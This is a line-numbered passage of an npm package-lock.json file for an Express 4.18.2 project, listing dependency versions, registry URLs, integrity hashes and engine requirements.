35 | "integrity": "sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==",
36 | "dependencies": {
37 | "bytes": "3.1.2",
38 | "content-type": "~1.0.4",
39 | "debug": "2.6.9",
40 | "depd": "2.0.0",
41 | "destroy": "1.2.0",
42 | "http-errors": "2.0.0",
43 | "iconv-lite": "0.4.24",
44 | "on-finished": "2.4.1",
45 | "qs": "6.11.0",
46 | "raw-body": "2.5.1",
47 | "type-is": "~1.6.18",
48 | "unpipe": "1.0.0"
49 | },
50 | "engines": {
51 | "node": ">= 0.8",
52 | "npm": "1.2.8000 || >= 1.4.16"
53 | }
54 | },
55 | "node_modules/bytes": {
56 | "version": "3.1.2",
57 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
58 | "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
59 | "engines": {
60 | "node": ">= 0.8"
61 | }
62 | },
63 | "node_modules/call-bind": {
64 | "version": "1.0.2",
65 | "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
66 | "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
67 | "dependencies": {
68 | "function-bind": "^1.1.1",
69 | "get-intrinsic": "^1.0.2"
70 | },
71 | "funding": {
72 | "url": "https://github.com/sponsors/ljharb"
73 | }
74 | },
75 | "node_modules/content-disposition": {
76 | "version": "0.5.4",
77 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
78 | "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
79 | "dependencies": {
80 | "safe-buffer": "5.2.1"
81 | },
82 | "engines": {
83 | "node": ">= 0.6"
84 | }
85 | },
86 | "node_modules/content-type": {
87 | "version": "1.0.4",
88 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz",
89 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==",
90 | "engines": {
91 | "node": ">= 0.6"
92 | }
93 | },
94 | "node_modules/cookie": {
95 | "version": "0.5.0",
96 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz",
97 | "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==",
98 | "engines": {
99 | "node": ">= 0.6"
100 | }
101 | },
102 | "node_modules/cookie-signature": {
103 | "version": "1.0.6",
104 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
105 | "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
106 | },
107 | "node_modules/debug": {
108 | "version": "2.6.9",
109 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
110 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
111 | "dependencies": {
112 | "ms": "2.0.0"
113 | }
114 | },
115 | "node_modules/depd": {
116 | "version": "2.0.0",
117 | "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
118 | "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
119 | "engines": {
120 | "node": ">= 0.8"
121 | }
122 | },
123 | "node_modules/destroy": {
124 | "version": "1.2.0",
125 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
126 | "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
127 | "engines": {
128 | "node": ">= 0.8",
129 | "npm": "1.2.8000 || >= 1.4.16"
130 | }
131 | },
132 | "node_modules/ee-first": {
133 | "version": "1.1.1",
134 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
135 | "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
136 | },
137 | "node_modules/encodeurl": {
138 | "version": "1.0.2",
139 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
140 | "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==",
141 | "engines": {
142 | "node": ">= 0.8"
143 | }
144 | },
145 | "node_modules/escape-html": {
146 | "version": "1.0.3",
147 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
148 | "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
149 | },
150 | "node_modules/etag": {
151 | "version": "1.8.1",
152 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
153 | "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
154 | "engines": {
155 | "node": ">= 0.6"
156 | }
157 | },
158 | "node_modules/express": {
159 | "version": "4.18.2",
160 | "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
161 | "integrity": "sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==",
162 | "dependencies": {
163 | "accepts": "~1.3.8",
164 | "array-flatten": "1.1.1",
165 | "body-parser": "1.20.1",
166 | "content-disposition": "0.5.4",
167 | "content-type": "~1.0.4",
168 | "cookie": "0.5.0",
169 | "cookie-signature": "1.0.6",
170 | "debug": "2.6.9",
171 | "depd": "2.0.0",
172 | "encodeurl": "~1.0.2",
173 | "escape-html": "~1.0.3",
174 | "etag": "~1.8.1",
175 | "finalhandler": "1.2.0",
176 | "fresh": "0.5.2",
177 | "http-errors": "2.0.0",
178 | "merge-descriptors": "1.0.1",
179 | "methods": "~1.1.2",
180 | "on-finished": "2.4.1",
181 | "parseurl": "~1.3.3",
182 | "path-to-regexp": "0.1.7",
183 | "proxy-addr": "~2.0.7",
184 | "qs": "6.11.0",
185 | "range-parser": "~1.2.1",
186 | "safe-buffer": "5.2.1",
187 | "send": "0.18.0",
188 | "serve-static": "1.15.0",
189 | "setprototypeof": "1.2.0",
190 | "statuses": "2.0.1",
191 | "type-is": "~1.6.18",
192 | "utils-merge": "1.0.1",
193 | "vary": "~1.1.2"
194 | },
195 | "engines": {
196 | "node": ">= 0.10.0"
197 | }
198 | },
199 | "node_modules/finalhandler": {
200 | "version": "1.2.0",
201 | "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz",
202 | "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==",
203 | "dependencies": {
204 | "debug": "2.6.9",
205 | "encodeurl": "~1.0.2",
206 | "escape-html": "~1.0.3",
207 | "on-finished": "2.4.1",
208 | "parseurl": "~1.3.3",
209 | "statuses": "2.0.1",
210 | "unpipe": "~1.0.0"
211 | },
212 | "engines": {
213 | "node": ">= 0.8"
214 | }
215 | },
216 | "node_modules/forwarded": {
217 | "version": "0.2.0",
218 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
219 | "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
220 | "engines": {
221 | "node": ">= 0.6"
222 | }
223 | },
224 | "node_modules/fresh": {
225 | "version": "0.5.2",
226 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
227 | "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
228 | "engines": {
229 | "node": ">= 0.6"
230 | }
231 | },
232 | "node_modules/function-bind": {
233 | "version": "1.1.1",
234 | "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
235 | "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
236 | },
237 | "node_modules/get-intrinsic": {
238 | "version": "1.1.3",
239 | "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.3.tgz",
240 | "integrity": "sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A==",
241 | "dependencies": {
242 | "function-bind": "^1.1.1",
243 | "has": "^1.0.3",
244 | "has-symbols": "^1.0.3"
245 | },
246 | "funding": {
247 | "url": "https://github.com/sponsors/ljharb"
248 | }
249 | },
250 | "node_modules/has": {
251 | "version": "1.0.3",
252 | "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
253 | "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
254 | "dependencies": {
255 | "function-bind": "^1.1.1"
256 | },
257 | "engines": {
258 | "node": ">= 0.4.0"
259 | }
260 | },
261 | "node_modules/has-symbols": {
262 | "version": "1.0.3",
263 | "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
264 | "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
265 | "engines": {
266 | "node": ">= 0.4"
267 | },
268 | "funding": {
269 | "url": "https://github.com/sponsors/ljharb"
270 | }
271 | },
272 | "node_modules/http-errors": {
273 | "version": "2.0.0",
274 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
275 | "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
276 | "dependencies": {
277 | "depd": "2.0.0",
278 | "inherits": "2.0.4",
279 | "setprototypeof": "1.2.0",
280 | "statuses": "2.0.1",
281 | "toidentifier": "1.0.1"
282 | },
283 | "engines": {
284 | "node": ">= 0.8"
285 | }
286 | },
287 | "node_modules/iconv-lite": {
288 | "version": "0.4.24",
289 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
290 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
291 | "dependencies": {
292 | "safer-buffer": ">= 2.1.2 < 3"
293 | },
294 | "engines": {
295 | "node": ">=0.10.0"
296 | }
297 | },
298 | "node_modules/inherits": {
299 | "version": "2.0.4",
300 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
301 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
302 | },
303 | "node_modules/ipaddr.js": {
304 | "version": "1.9.1",
305 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
306 | "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
307 | "engines": {
308 | "node": ">= 0.10"
309 | }
310 | },
311 | "node_modules/media-typer": {
312 | "version": "0.3.0",
313 | "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
314 | "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
315 | "engines": {
316 | "node": ">= 0.6"
317 | }
318 | },
319 | "node_modules/merge-descriptors": {
320 | "version": "1.0.1",
321 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
322 | "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w=="
323 | },
324 | "node_modules/methods": {
325 | "version": "1.1.2",
326 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
327 | "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
328 | "engines": {
329 | "node": ">= 0.6"
330 | }
331 | },
332 | "node_modules/mime": {
333 | "version": "1.6.0",
334 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
335 | "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
336 | "bin": {
337 | "mime": "cli.js"
338 | },
339 | "engines": {
340 | "node": ">=4"
341 | }
342 | },
343 | "node_modules/mime-db": {
344 | "version": "1.52.0",
345 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
346 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
347 | "engines": {
348 | "node": ">= 0.6"
349 | }
350 | },
351 | "node_modules/mime-types": {
352 | "version": "2.1.35",
353 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
354 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
355 | "dependencies": {
356 | "mime-db": "1.52.0"
357 | },
358 | "engines": {
359 | "node": ">= 0.6"
360 | }
361 | },
362 | "node_modules/ms": {
363 | "version": "2.0.0",
364 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
365 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
366 | },
367 | "node_modules/negotiator": {
368 | "version": "0.6.3",
369 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
370 | "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
371 | "engines": {
372 | "node": ">= 0.6"
373 | }
374 | },
375 | "node_modules/object-inspect": {
376 | "version": "1.12.2",
377 | "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz",
378 | "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ==",
379 | "funding": {
380 | "url": "https://github.com/sponsors/ljharb"
381 | }
382 | },
383 | "node_modules/on-finished": {
384 | "version": "2.4.1",
385 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
386 | "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
387 | "dependencies": {
388 | "ee-first": "1.1.1"
389 | },
390 | "engines": {
391 | "node": ">= 0.8"
392 | }
393 | },
394 | "node_modules/parseurl": {
395 | "version": "1.3.3",
396 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
397 | "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
398 | "engines": {
399 | "node": ">= 0.8"
400 | }
401 | },
402 | "node_modules/path-to-regexp": {
403 | "version": "0.1.7",
404 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
405 | "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ=="
406 | },
407 | "node_modules/proxy-addr": {
408 | "version": "2.0.7",
409 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
410 | "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
411 | "dependencies": {
412 | "forwarded": "0.2.0",
413 | "ipaddr.js": "1.9.1"
414 | },
415 | "engines": {
416 | "node": ">= 0.10"
417 | }
418 | },
419 | "node_modules/qs": {
420 | "version": "6.11.0",
421 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz",
422 | "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==",
423 | "dependencies": {
424 | "side-channel": "^1.0.4"
425 | },
426 | "engines": {
427 | "node": ">=0.6"
428 | },
429 | "funding": {
430 | "url": "https://github.com/sponsors/ljharb"
431 | }
432 | },
433 | "node_modules/range-parser": {
434 | "version": "1.2.1",
435 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
436 | "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
437 | "engines": {
438 | "node": ">= 0.6"
439 | }
440 | },
441 | "node_modules/raw-body": {
442 | "version": "2.5.1",
443 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz",
444 | "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==",
445 | "dependencies": {
446 | "bytes": "3.1.2",
447 | "http-errors": "2.0.0",
448 | "iconv-lite": "0.4.24",
449 | "unpipe": "1.0.0"
450 | },
451 | "engines": {
452 | "node": ">= 0.8"
453 | }
454 | },
455 | "node_modules/safe-buffer": {
456 | "version": "5.2.1",
457 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
458 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
459 | "funding": [
460 | {
461 | "type": "github",
462 | "url": "https://github.com/sponsors/feross"
463 | },
464 | {
465 | "type": "patreon",
466 | "url": "https://www.patreon.com/feross"
467 | },
468 | {
469 | "type": "consulting",
470 | "url": "https://feross.org/support"
471 | }
472 | ]
473 | },
474 | "node_modules/safer-buffer": {
475 | "version": "2.1.2",
476 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
477 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
478 | },
479 | "node_modules/send": {
480 | "version": "0.18.0",
481 | "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz",
482 | "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==",
483 | "dependencies": {
484 | "debug": "2.6.9",
485 | "depd": "2.0.0",
486 | "destroy": "1.2.0",
487 | "encodeurl": "~1.0.2",
488 | "escape-html": "~1.0.3",
489 | "etag": "~1.8.1",
490 | "fresh": "0.5.2",
491 | "http-errors": "2.0.0",
492 | "mime": "1.6.0",
493 | "ms": "2.1.3",
494 | "on-finished": "2.4.1",
495 | "range-parser": "~1.2.1",
496 | "statuses": "2.0.1"
497 | },
498 | "engines": {
499 | "node": ">= 0.8.0"
500 | }
501 | },
502 | "node_modules/send/node_modules/ms": {
503 | "version": "2.1.3",
504 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
505 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
506 | },
507 | "node_modules/serve-static": {
508 | "version": "1.15.0",
509 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz",
510 | "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==",
511 | "dependencies": {
512 | "encodeurl": "~1.0.2",
513 | "escape-html": "~1.0.3",
514 | "parseurl": "~1.3.3",
515 | "send": "0.18.0"
516 | },
517 | "engines": {
518 | "node": ">= 0.8.0"
519 | }
520 | },
521 | "node_modules/setprototypeof": {
522 | "version": "1.2.0",
523 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
524 | "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
525 | },
526 | "node_modules/side-channel": {
527 | "version": "1.0.4",
528 | "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
529 | "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==",
530 | "dependencies": {
531 | "call-bind": "^1.0.0",
532 | "get-intrinsic": "^1.0.2",
533 | "object-inspect": "^1.9.0"
534 | },
535 | "funding": {
536 | "url": "https://github.com/sponsors/ljharb"
537 | }
538 | },
539 | "node_modules/statuses": {
540 | "version": "2.0.1",
541 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
542 | "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
543 | "engines": {
544 | "node": ">= 0.8"
545 | }
546 | },
547 | "node_modules/toidentifier": {
548 | "version": "1.0.1",
549 | "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
550 | "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
551 | "engines": {
552 | "node": ">=0.6"
553 | }
554 | },
555 | "node_modules/type-is": {
556 | "version": "1.6.18",
557 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
558 | "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
559 | "dependencies": {
560 | "media-typer": "0.3.0",
561 | "mime-types": "~2.1.24"
562 | },
563 | "engines": {
564 | "node": ">= 0.6"
565 | }
566 | },
567 | "node_modules/unpipe": {
568 | "version": "1.0.0",
569 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
570 | "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
571 | "engines": {
572 | "node": ">= 0.8"
573 | }
574 | },
575 | "node_modules/utils-merge": {
576 | "version": "1.0.1",
577 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
578 | "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
579 | "engines": {
580 | "node": ">= 0.4.0"
581 | }
582 | },
583 | "node_modules/vary": {
584 | "version": "1.1.2",
585 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
586 | "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
587 | "engines": {
588 | "node": ">= 0.8"
589 | }
590 | }
591 | },
592 | "dependencies": {
593 | "accepts": {
594 | "version": "1.3.8",
595 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
596 | "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
597 | "requires": {
598 | "mime-types": "~2.1.34",
599 | "negotiator": "0.6.3"
600 | }
601 | },
602 | "array-flatten": {
603 | "version": "1.1.1",
604 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
605 | "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
606 | },
607 | "body-parser": {
608 | "version": "1.20.1",
609 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.1.tgz",
610 | "integrity": "sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==",
611 | "requires": {
612 | "bytes": "3.1.2",
613 | "content-type": "~1.0.4",
614 | "debug": "2.6.9",
615 | "depd": "2.0.0",
616 | "destroy": "1.2.0",
617 | "http-errors": "2.0.0",
618 | "iconv-lite": "0.4.24",
619 | "on-finished": "2.4.1",
620 | "qs": "6.11.0",
621 | "raw-body": "2.5.1",
622 | "type-is": "~1.6.18",
623 | "unpipe": "1.0.0"
624 | }
625 | },
626 | "bytes": {
627 | "version": "3.1.2",
628 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
629 | "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="
630 | },
631 | "call-bind": {
632 | "version": "1.0.2",
633 | "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
634 | "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
635 | "requires": {
636 | "function-bind": "^1.1.1",
637 | "get-intrinsic": "^1.0.2"
638 | }
639 | },
640 | "content-disposition": {
641 | "version": "0.5.4",
642 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
643 | "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
644 | "requires": {
645 | "safe-buffer": "5.2.1"
646 | }
647 | },
648 | "content-type": {
649 | "version": "1.0.4",
650 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz",
651 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA=="
652 | },
653 | "cookie": {
654 | "version": "0.5.0",
655 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz",
656 | "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw=="
657 | },
658 | "cookie-signature": {
659 | "version": "1.0.6",
660 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
